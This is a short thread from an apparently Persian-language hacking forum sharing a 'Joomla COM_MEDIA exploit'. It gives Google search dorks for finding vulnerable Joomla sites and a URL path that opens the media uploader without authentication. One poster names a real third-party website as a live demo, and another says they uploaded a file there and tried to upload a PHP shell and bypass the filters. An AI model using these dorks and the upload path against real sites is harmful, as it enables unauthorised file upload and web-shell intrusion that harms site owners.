Joomla COM_MEDIA Exploit

[Sk7]

Dork 1: inurl:index.php?option=com_media& site:com
Dork 2: inurl:index2.php?option=com_media& site:net
Dork 3: inurl:option=com_media

Exploit: /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

[r0bb3r68]

RE: Joomla COM_MEDIA Exploit

اون وقت شل آپلود شد تو کودوم مسیر میره؟؟؟

[Mr.XpR]

RE: Joomla COM_MEDIA Exploit

آسیب پذیری فکر میکنم این باشه :

# Exploit Title: Com_Media (CMS JOOMLA)
# Date: 12-05-2013
# Version: 2.5
# Tested on: Windows Xp & Linux
# Dork: inurl:index.php?option=com_media

# Exploit :
/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

دمو :

http://www.ayrshirebridge.co.uk/index.php?option=com_media&view=images&tmpl=compon ent&fieldid=&e_name=jform_articletext&asset=com_co ntent&author=&folder=7

[r0bb3r68]

RE: Joomla COM_MEDIA Exploit

دموشو دیدم.
فایل txt تونستم آپلود کنم.
ولی فایل php نشد که آپلود کنم.
حتی راه های بایپس رو هم تست کردم ولی نشد.